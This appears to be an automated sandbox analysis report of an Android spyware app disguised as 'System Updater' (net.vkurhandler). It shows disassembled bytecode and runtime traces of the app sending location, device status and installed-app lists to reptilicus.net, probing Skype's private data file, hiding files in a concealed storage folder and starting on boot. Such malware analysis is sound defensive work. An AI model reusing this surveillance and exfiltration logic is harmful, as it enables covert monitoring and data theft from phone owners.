                    97invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    98move-result-object v2
                    100invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    101move-result-object v2
                    103invoke-static {v0, v2}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    104goto/16 :goto_5b
                    APIs
                    • org.apache.http.protocol.HttpContext.getAttribute
                    • org.apache.http.protocol.HttpContext.getAttribute
                    • org.apache.http.protocol.HttpContext.getAttribute
                    • org.apache.http.auth.AuthState.getAuthScheme
                    • org.apache.http.HttpHost.getHostName
                    • org.apache.http.HttpHost.getPort
                    • org.apache.http.auth.AuthScope.<init>
                    • org.apache.http.client.CredentialsProvider.getCredentials
                    • org.apache.http.impl.auth.BasicScheme.<init>
                    • org.apache.http.auth.AuthState.setAuthScheme
                    • org.apache.http.auth.AuthState.setCredentials
                    Strings
                    • http.auth.target-scope
                    • http.auth.credentials-provider
                    • http.target_host
                    • reptilicus.net
                    Position Instruction Meta Information
                    1const-string v0, "http.auth.target-scope"
                    3invoke-interface {p2, v0}, Lorg/apache/http/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
                    4move-result-object v0
                    5check-cast v0, Lorg/apache/http/auth/AuthState;
                    7const-string v1, "http.auth.credentials-provider"
                    9invoke-interface {p2, v1}, Lorg/apache/http/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
                    10move-result-object v1
                    11check-cast v1, Lorg/apache/http/client/CredentialsProvider;
                    13const-string v2, "http.target_host"
                    15invoke-interface {p2, v2}, Lorg/apache/http/protocol/HttpContext;->getAttribute(Ljava/lang/String;)Ljava/lang/Object;
                    16move-result-object v2
                    17check-cast v2, Lorg/apache/http/HttpHost;
                    19invoke-virtual {v0}, Lorg/apache/http/auth/AuthState;->getAuthScheme()Lorg/apache/http/auth/AuthScheme;
                    20move-result-object v3
                    21if-nez v3, :cond_3c
                    22new-instance v3, Lorg/apache/http/auth/AuthScope;
                    24invoke-virtual {v2}, Lorg/apache/http/HttpHost;->getHostName()Ljava/lang/String;
                    • Time: 1274931
                      • This:
                        • http://reptilicus.net
                      • Return:
                        • reptilicus.net
                    25move-result-object v4
                    27invoke-virtual {v2}, Lorg/apache/http/HttpHost;->getPort()I
                    28move-result v2
                    30invoke-direct {v3, v4, v2}, Lorg/apache/http/auth/AuthScope;-><init>(Ljava/lang/String;I)V
                    32invoke-interface {v1, v3}, Lorg/apache/http/client/CredentialsProvider;->getCredentials(Lorg/apache/http/auth/AuthScope;)Lorg/apache/http/auth/Credentials;
                    33move-result-object v1
                    34if-eqz v1, :cond_3c
                    35new-instance v2, Lorg/apache/http/impl/auth/BasicScheme;
                    37invoke-direct {v2}, Lorg/apache/http/impl/auth/BasicScheme;-><init>()V
                    39invoke-virtual {v0, v2}, Lorg/apache/http/auth/AuthState;->setAuthScheme(Lorg/apache/http/auth/AuthScheme;)V
                    41invoke-virtual {v0, v1}, Lorg/apache/http/auth/AuthState;->setCredentials(Lorg/apache/http/auth/Credentials;)V
                    42cond_3c: return-void
                    APIs
                    • net.vkurhandler.CallReceiver.b
                    • net.vkurhandler.CallReceiver.a:Landroid/content/Intent
                    • java.lang.System.currentTimeMillis
                    • net.vkurhandler.CallReceiver.a:Landroid/content/Intent
                    • net.vkurhandler.CallReceiver.a
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • net.vkurhandler.CallReceiver.a
                    • net.vkurhandler.CallReceiver.b
                    • net.vkurhandler.CallReceiver.a:Landroid/content/Intent
                    • net.vkurhandler.CallReceiver.a
                    • java.lang.System.currentTimeMillis
                    • net.vkurhandler.CallReceiver.b
                    • net.vkurhandler.CallReceiver.a
                    Strings
                    • CallReceiver
                    • onReceive
                    Position Instruction Meta Information
                    1invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    2move-result v0
                    3if-eqz v0, :cond_d
                    5const-string v0, "CallReceiver"
                    7const-string v1, "onReceive"
                    9invoke-static {v0, v1, p2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/String;Landroid/content/Intent;)V
                    10cond_d:
                    11invoke-static {p2}, Lnet/vkurhandler/CallReceiver;->b(Landroid/content/Intent;)Z
                    12move-result v0
                    13if-eqz v0, :cond_5a
                    15invoke-static {}, Lnet/vkurhandler/gn;->b()Z
                    • Time: 1428446
                      • Return:
                        • false
                    16move-result v0
                    17if-eqz v0, :cond_4f
                    19sget-object v0, Lnet/vkurhandler/CallReceiver;->a:Landroid/content/Intent;
                    20if-eqz v0, :cond_4f
                    22invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    23move-result-wide v0
                    24sget-wide v2, Lnet/vkurhandler/CallReceiver;->b:J
                    25sub-long/2addr v0, v2
                    26const-wide/16 v2, 0xc8
                    27cmp-long v0, v0, v2
                    28if-gez v0, :cond_4f
                    30sget-object v0, Lnet/vkurhandler/CallReceiver;->a:Landroid/content/Intent;
                    32invoke-direct {p0, v0}, Lnet/vkurhandler/CallReceiver;->a(Landroid/content/Intent;)Z
                    33move-result v0
                    34if-eqz v0, :cond_4f
                    36invoke-static {p1}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    37move-result-object v0
                    39invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    40move-result-object v0
                    41const/4 v1, 0x6
                    43invoke-static {v0, v1}, Lnet/vkurhandler/CallReceiver;->a(Landroid/content/SharedPreferences;I)V
                    45invoke-direct {p0, p1, p2}, Lnet/vkurhandler/CallReceiver;->b(Landroid/content/Context;Landroid/content/Intent;)V
                    47sget-object v0, Lnet/vkurhandler/CallReceiver;->a:Landroid/content/Intent;
                    49invoke-direct {p0, p1, v0}, Lnet/vkurhandler/CallReceiver;->a(Landroid/content/Context;Landroid/content/Intent;)V
                    50goto_46:
                    51invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    52move-result-wide v0
                    53sput-wide v0, Lnet/vkurhandler/CallReceiver;->b:J
                    54sput-object p2, Lnet/vkurhandler/CallReceiver;->a:Landroid/content/Intent;
                    55goto_4e: return-void
                    56cond_4f:
                    57invoke-direct {p0, p1, p2}, Lnet/vkurhandler/CallReceiver;->b(Landroid/content/Context;Landroid/content/Intent;)V
                    58try_end_52: goto/16 :goto_46
                    59catch_53: move-exception v0
                    61const-string v1, "CallReceiver"
                    63invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    64goto/16 :goto_4e
                    65cond_5a:
                    66invoke-direct {p0, p1, p2}, Lnet/vkurhandler/CallReceiver;->a(Landroid/content/Context;Landroid/content/Intent;)V
                    67try_end_5d: goto/16 :goto_46
                    Cross References
                    APIs
                    Strings
                    • RestClient
                    • method:
                    • ,params:
                    • params={"charger":"true","sub_type":"2","bat_level":"100","action":"send_data","name":"","date":"2018-08-31 12:41:18","sms_type":"1","module":"device","message":"null","type":"1","phone_number":"","device_id":"","location":{"speed":"0","lat":"54.13","accuracy":"0","type":"1","lng":"12.14"}}
                    • params={"command_id":"0","command":"app_list","action":"send_data","response_base64_zipped":"true","module":"device","type":"3","response":"eJyFU8lOwzAQ\/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj\/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI\/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc\/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd\/M\/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj\/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql\/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++\/gDb6cBp","device_id":""}
                    • params={"module":"client","action":"get_lic"}
                    • params={"module":"preference","action":"load","device_id":"","app_name":"System Updater","pkg_name":"net.vkurhandler","domain_id":0}
                    • params
                    • {"charger":"true","sub_type":"2","bat_level":"100","action":"send_data","name":"","date":"2018-08-31 12:41:18","sms_type":"1","module":"device","message":"null","type":"1","phone_number":"","device_id":"","location":{"speed":"0","lat":"54.13","accuracy":"0","type":"1","lng":"12.14"}}
                    • {"command_id":"0","command":"app_list","action":"send_data","response_base64_zipped":"true","module":"device","type":"3","response":"eJyFU8lOwzAQ\/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj\/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI\/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc\/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd\/M\/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj\/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql\/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++\/gDb6cBp","device_id":""}
                    • {"module":"client","action":"get_lic"}
                    • {"module":"preference","action":"load","device_id":"","app_name":"System Updater","pkg_name":"net.vkurhandler","domain_id":0}
                    Position Instruction Meta Information
                    1invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    • Time: 1274757
                      • Return:
                        • true
                    2move-result v0
                    3if-eqz v0, :cond_22
                    5const-string v0, "RestClient"
                    6const/4 v1, 0x4
                    7new-array v1, v1, [Ljava/lang/String;
                    8const/4 v2, 0x0
                    10const-string v3, "method:"
                    11aput-object v3, v1, v2
                    12const/4 v2, 0x1
                    13aput-object p0, v1, v2
                    14const/4 v2, 0x2
                    16const-string v3, ",params:"
                    17aput-object v3, v1, v2
                    18const/4 v2, 0x3
                    20invoke-virtual {p1}, Lcom/a/a/a/v;->toString()Ljava/lang/String;
                    • Time: 1274922
                      • This:
                        • org.apache.http.message.BasicNameValuePair@a8b2321
                      • Return:
                        • params
                    • Time: 1274967
                      • This:
                        • org.apache.http.message.BasicNameValuePair@a8b2321
                      • Return:
                        • {"module":"preference","action":"load","device_id":"","app_name":"System Updater","pkg_name":"net.vkurhandler","domain_id":0}
                    • Time: 1274921
                      • This:
                        • params={"module":"preference","action":"load","device_id":"","app_name":"System Updater","pkg_name":"net.vkurhandler","domain_id":0}
                      • Return:
                        • params={"module":"preference","action":"load","device_id":"","app_name":"System Updater","pkg_name":"net.vkurhandler","domain_id":0}
                    • Time: 1277273
                      • This:
                        • org.apache.http.message.BasicNameValuePair@c490d4c
                      • Return:
                        • {"module":"client","action":"get_lic"}
                    • Time: 1277266
                      • This:
                        • params={"module":"client","action":"get_lic"}
                      • Return:
                        • params={"module":"client","action":"get_lic"}
                    • Time: 1278516
                      • This:
                        • org.apache.http.message.BasicNameValuePair@4729b86
                      • Return:
                        • {"command_id":"0","command":"app_list","action":"send_data","response_base64_zipped":"true","module":"device","type":"3","response":"eJyFU8lOwzAQ\/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj\/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI\/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc\/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd\/M\/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj\/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql\/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++\/gDb6cBp","device_id":""}
                    • Time: 1278496
                      • This:
                        • params={"command_id":"0","command":"app_list","action":"send_data","response_base64_zipped":"true","module":"device","type":"3","response":"eJyFU8lOwzAQ\/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj\/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI\/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc\/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd\/M\/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj\/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql\/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++\/gDb6cBp","device_id":""}
                      • Return:
                        • params={"command_id":"0","command":"app_list","action":"send_data","response_base64_zipped":"true","module":"device","type":"3","response":"eJyFU8lOwzAQ\/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj\/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI\/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc\/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd\/M\/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj\/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql\/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++\/gDb6cBp","device_id":""}
                    • Time: 1412226
                      • This:
                        • org.apache.http.message.BasicNameValuePair@ae21269
                      • Return:
                        • {"charger":"true","sub_type":"2","bat_level":"100","action":"send_data","name":"","date":"2018-08-31 12:41:18","sms_type":"1","module":"device","message":"null","type":"1","phone_number":"","device_id":"","location":{"speed":"0","lat":"54.13","accuracy":"0","type":"1","lng":"12.14"}}
                    • Time: 1412222
                      • This:
                        • params={"charger":"true","sub_type":"2","bat_level":"100","action":"send_data","name":"","date":"2018-08-31 12:41:18","sms_type":"1","module":"device","message":"null","type":"1","phone_number":"","device_id":"","location":{"speed":"0","lat":"54.13","accuracy":"0","type":"1","lng":"12.14"}}
                      • Return:
                        • params={"charger":"true","sub_type":"2","bat_level":"100","action":"send_data","name":"","date":"2018-08-31 12:41:18","sms_type":"1","module":"device","message":"null","type":"1","phone_number":"","device_id":"","location":{"speed":"0","lat":"54.13","accuracy":"0","type":"1","lng":"12.14"}}
                    21move-result-object v3
                    22aput-object v3, v1, v2
                    24invoke-static {v0, v1}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    25cond_22: return-void
                    APIs
                    • android.app.Activity.onCreate
                    • net.vkurhandler.MainActivity.getSharedPreferences
                    • net.vkurhandler.MainActivity.getApplicationContext
                    • android.app.ProgressDialog.<init>
                    • net.vkurhandler.MainActivity.e:Landroid/app/ProgressDialog
                    • android.app.ProgressDialog.setProgressStyle
                    • net.vkurhandler.MainActivity.e:Landroid/app/ProgressDialog
                    • net.vkurhandler.MainActivity.getString
                    • android.app.ProgressDialog.setMessage
                    • net.vkurhandler.MainActivity.e:Landroid/app/ProgressDialog
                    • android.app.ProgressDialog.setIndeterminate
                    • net.vkurhandler.MainActivity.e:Landroid/app/ProgressDialog
                    • android.app.ProgressDialog.setCancelable
                    • net.vkurhandler.MainActivity.e:Landroid/app/ProgressDialog
                    • android.app.ProgressDialog.setCanceledOnTouchOutside
                    • net.vkurhandler.MainActivity.a
                    Strings
                    • preference
                    • Loading. Please wait...
                    Position Instruction Meta Information
                    0const/4 v2, 0x0
                    2invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
                    4const-string v0, "preference"
                    6invoke-virtual {p0, v0, v2}, Lnet/vkurhandler/MainActivity;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
                    7move-result-object v0
                    8iput-object v0, p0, Lnet/vkurhandler/MainActivity;->a:Landroid/content/SharedPreferences;
                    9new-instance v0, Lnet/vkurhandler/Mobile;
                    11invoke-virtual {p0}, Lnet/vkurhandler/MainActivity;->getApplicationContext()Landroid/content/Context;
                    • Time: 1275266
                      • This:
                        • net.vkurhandler.MainActivity@acdc8ef
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    12move-result-object v1
                    14invoke-direct {v0, v1}, Lnet/vkurhandler/Mobile;-><init>(Landroid/content/Context;)V
                    15iput-object v0, p0, Lnet/vkurhandler/MainActivity;->d:Lnet/vkurhandler/Mobile;
                    16new-instance v0, Landroid/app/ProgressDialog;
                    18invoke-direct {v0, p0}, Landroid/app/ProgressDialog;-><init>(Landroid/content/Context;)V
                    19iput-object v0, p0, Lnet/vkurhandler/MainActivity;->e:Landroid/app/ProgressDialog;
                    21iget-object v0, p0, Lnet/vkurhandler/MainActivity;->e:Landroid/app/ProgressDialog;
                    23invoke-virtual {v0, v2}, Landroid/app/ProgressDialog;->setProgressStyle(I)V
                    25iget-object v0, p0, Lnet/vkurhandler/MainActivity;->e:Landroid/app/ProgressDialog;
                    26const v1, 0x7f0600e4
                    28invoke-virtual {p0, v1}, Lnet/vkurhandler/MainActivity;->getString(I)Ljava/lang/String;
                    • Time: 1276259
                      • This:
                        • net.vkurhandler.MainActivity@acdc8ef
                      • resId: 2131099876
                      • Return:
                        • Loading. Please wait...
                    29move-result-object v1
                    31invoke-virtual {v0, v1}, Landroid/app/ProgressDialog;->setMessage(Ljava/lang/CharSequence;)V
                    33iget-object v0, p0, Lnet/vkurhandler/MainActivity;->e:Landroid/app/ProgressDialog;
                    34const/4 v1, 0x1
                    36invoke-virtual {v0, v1}, Landroid/app/ProgressDialog;->setIndeterminate(Z)V
                    38iget-object v0, p0, Lnet/vkurhandler/MainActivity;->e:Landroid/app/ProgressDialog;
                    40invoke-virtual {v0, v2}, Landroid/app/ProgressDialog;->setCancelable(Z)V
                    42iget-object v0, p0, Lnet/vkurhandler/MainActivity;->e:Landroid/app/ProgressDialog;
                    44invoke-virtual {v0, v2}, Landroid/app/ProgressDialog;->setCanceledOnTouchOutside(Z)V
                    46invoke-direct {p0}, Lnet/vkurhandler/MainActivity;->a()V
                    47return-void
                    APIs
                    • java.lang.Thread.currentThread
                    • java.lang.Thread.isInterrupted
                    • org.apache.http.HttpResponse.getStatusLine
                    • org.apache.http.HttpResponse.getEntity
                    • java.lang.Thread.currentThread
                    • java.lang.Thread.isInterrupted
                    • org.apache.http.StatusLine.getStatusCode
                    • org.apache.http.StatusLine.getStatusCode
                    • org.apache.http.HttpResponse.getAllHeaders
                    • org.apache.http.StatusLine.getStatusCode
                    • org.apache.http.StatusLine.getReasonPhrase
                    • org.apache.http.client.HttpResponseException.<init>
                    • org.apache.http.StatusLine.getStatusCode
                    • org.apache.http.HttpResponse.getAllHeaders
                    Position Instruction Meta Information
                    1invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                    2move-result-object v0
                    4invoke-virtual {v0}, Ljava/lang/Thread;->isInterrupted()Z
                    5move-result v0
                    6if-nez v0, :cond_40
                    8invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine;
                    9move-result-object v0
                    11invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity;
                    12move-result-object v1
                    14invoke-virtual {p0, v1}, Lcom/a/a/a/h;->a(Lorg/apache/http/HttpEntity;)[B
                    15move-result-object v1
                    17invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
                    18move-result-object v2
                    20invoke-virtual {v2}, Ljava/lang/Thread;->isInterrupted()Z
                    21move-result v2
                    22if-nez v2, :cond_40
                    24invoke-interface {v0}, Lorg/apache/http/StatusLine;->getStatusCode()I
                    • Time: 1275082
                      • This:
                        • HTTP/1.1 200 OK
                      • Return:
                        • 200
                    25move-result v2
                    26const/16 v3, 0x12c
                    27if-lt v2, v3, :cond_41
                    29invoke-interface {v0}, Lorg/apache/http/StatusLine;->getStatusCode()I
                    30move-result v2
                    32invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getAllHeaders()[Lorg/apache/http/Header;
                    33move-result-object v3
                    34new-instance v4, Lorg/apache/http/client/HttpResponseException;
                    36invoke-interface {v0}, Lorg/apache/http/StatusLine;->getStatusCode()I
                    37move-result v5
                    39invoke-interface {v0}, Lorg/apache/http/StatusLine;->getReasonPhrase()Ljava/lang/String;
                    40move-result-object v0
                    42invoke-direct {v4, v5, v0}, Lorg/apache/http/client/HttpResponseException;-><init>(ILjava/lang/String;)V
                    44invoke-virtual {p0, v2, v3, v1, v4}, Lcom/a/a/a/h;->b(I[Lorg/apache/http/Header;[BLjava/lang/Throwable;)V
                    45goto_40: return-void
                    46cond_41:
                    47invoke-interface {v0}, Lorg/apache/http/StatusLine;->getStatusCode()I
                    • Time: 1275087
                      • This:
                        • HTTP/1.1 200 OK
                      • Return:
                        • 200
                    48move-result v0
                    50invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getAllHeaders()[Lorg/apache/http/Header;
                    51move-result-object v2
                    53invoke-virtual {p0, v0, v2, v1}, Lcom/a/a/a/h;->b(I[Lorg/apache/http/Header;[B)V
                    54goto/16 :goto_40
                    APIs
                    • net.vkurhandler.dm.l
                    • android.text.TextUtils.isEmpty
                    • java.lang.RuntimeException.<init>
                    • net.vkurhandler.dm.a
                    • net.vkurhandler.dm.<init>
                    • net.vkurhandler.dm.f:Ljava/lang/String
                    • java.util.HashMap.put
                    • net.vkurhandler.dm.f
                    • net.vkurhandler.dm.i
                    Strings
                    • /data/data/com.skype.raider/files/shared.xml
                    • dbPath can\'t be empty
                    • RTSkype
                    Position Instruction Meta Information
                    0try_start_0:
                    1invoke-static {}, Lnet/vkurhandler/dm;->l()Ljava/lang/String;
                    • Time: 1274221
                      • This:
                        • /data/data/com.skype.raider/files/shared.xml
                      • p0: /data/data/com.skype.raider/files/shared.xml
                      • Return:
                        • /data/data/com.skype.raider/files/shared.xml
                    • Time: 1274393
                      • p0: /data/data/com.skype.raider/files/shared.xml
                      • Return:
                        • java.io.FileNotFoundException: /data/data/com.skype.raider/files/shared.xml (No such file or directory)
                    2move-result-object v0
                    4invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    5move-result v1
                    6if-eqz v1, :cond_19
                    7new-instance v0, Ljava/lang/RuntimeException;
                    9const-string v1, "dbPath can\'t be empty"
                    11invoke-direct {v0, v1}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;)V
                    12throw v0
                    13try_end_12: move-exception v0
                    15const-string v1, "RTSkype"
                    17invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    18cond_18: return-void
                    19cond_19:
                    20invoke-static {v0}, Lnet/vkurhandler/dm;->a(Ljava/lang/String;)V
                    21new-instance v1, Lnet/vkurhandler/dm;
                    23iget-object v2, p0, Lnet/vkurhandler/dn;->a:Landroid/content/Context;
                    25invoke-direct {v1, v2, v0}, Lnet/vkurhandler/dm;-><init>(Landroid/content/Context;Ljava/lang/String;)V
                    27iget-object v0, p0, Lnet/vkurhandler/dn;->b:Ljava/util/HashMap;
                    29iget-object v2, v1, Lnet/vkurhandler/dm;->f:Ljava/lang/String;
                    31invoke-virtual {v0, v2, v1}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                    33invoke-virtual {v1}, Lnet/vkurhandler/dm;->f()Z
                    34move-result v0
                    35if-eqz v0, :cond_18
                    37invoke-virtual {v1}, Lnet/vkurhandler/dm;->i()V
                    38try_end_33: goto/16 :goto_18
                    APIs
                    • android.content.Intent.getAction
                    • java.lang.String.equals
                    • java.lang.String.equals
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.f
                    Strings
                    • BootReceiver
                    • onReceive
                    • android.intent.action.BOOT_COMPLETED
                    • android.intent.action.ACTION_SHUTDOWN
                    • android.intent.action.QUICKBOOT_POWEROFF
                    Position Instruction Meta Information
                    1invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    2move-result v0
                    3if-eqz v0, :cond_d
                    5const-string v0, "BootReceiver"
                    7const-string v1, "onReceive"
                    9invoke-static {v0, v1, p2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/String;Landroid/content/Intent;)V
                    10cond_d:
                    11invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                    • Time: 1396373
                      • This:
                        • Intent { act=android.intent.action.BOOT_COMPLETED }
                      • Return:
                        • android.intent.action.BOOT_COMPLETED
                    12move-result-object v0
                    14const-string v1, "android.intent.action.ACTION_SHUTDOWN"
                    16invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    17move-result v1
                    18if-nez v1, :cond_21
                    20const-string v1, "android.intent.action.QUICKBOOT_POWEROFF"
                    22invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    23move-result v0
                    24if-eqz v0, :cond_2c
                    25cond_21:
                    26invoke-static {p1}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    27move-result-object v0
                    29invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->f()Lnet/vkurhandler/v;
                    30move-result-object v0
                    32invoke-virtual {v0}, Lnet/vkurhandler/v;->c()V
                    33goto_2c: return-void
                    34catch_2d: move-exception v0
                    36const-string v1, "BootReceiver"
                    38invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    39goto/16 :goto_2c
                    Cross References
                    APIs
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • java.lang.Thread.<init>
                    • java.lang.Thread.start
                    Strings
                    • remote_preference_wait_for_inet
                    • /storage/emulated/0/.system_android/.data/.system_temp
                    Position Instruction Meta Information
                    0const/4 v2, 0x1
                    1sget-boolean v0, Lnet/vkurhandler/dx;->a:Z
                    2if-eqz v0, :cond_6
                    3goto_5: return-void
                    4cond_6: sput-boolean v2, Lnet/vkurhandler/dx;->a:Z
                    6invoke-static {p0}, Lnet/vkurhandler/gn;->i(Landroid/content/Context;)Z
                    7move-result v0
                    8if-nez v0, :cond_24
                    10invoke-static {p0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    11move-result-object v0
                    13invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    14move-result-object v0
                    16invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    17move-result-object v0
                    19const-string v1, "remote_preference_wait_for_inet"
                    21invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    22move-result-object v0
                    24invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    25goto/16 :goto_5
                    26cond_24:
                    27invoke-static {}, Lnet/vkurhandler/gn;->c()Z
                    • Time: 1273965
                      • This:
                        • /storage/emulated/0/.system_android/.data/.system_temp
                      • p0: /storage/emulated/0/.system_android/.data/.system_temp
                      • Return:
                        • /storage/emulated/0/.system_android/.data/.system_temp
                    • Time: 1274000
                      • Return:
                        • true
                    28move-result v0
                    29if-eqz v0, :cond_5
                    30new-instance v0, Ljava/lang/Thread;
                    31new-instance v1, Lnet/vkurhandler/dy;
                    33invoke-direct {v1, p0}, Lnet/vkurhandler/dy;-><init>(Landroid/content/Context;)V
                    35invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
                    37invoke-virtual {v0}, Ljava/lang/Thread;->start()V
                    38goto/16 :goto_5
                    Cross References
                    APIs
                    • android.content.Intent.<init>
                    • android.content.Intent.<init>
                    • android.app.PendingIntent.getBroadcast
                    • android.content.Intent.putExtra
                    • android.content.Intent.putExtra
                    • android.content.Context.startService
                    Strings
                    • com.google.android.c2dm.intent.REGISTER
                    • app
                    • 972206334901
                    • sender
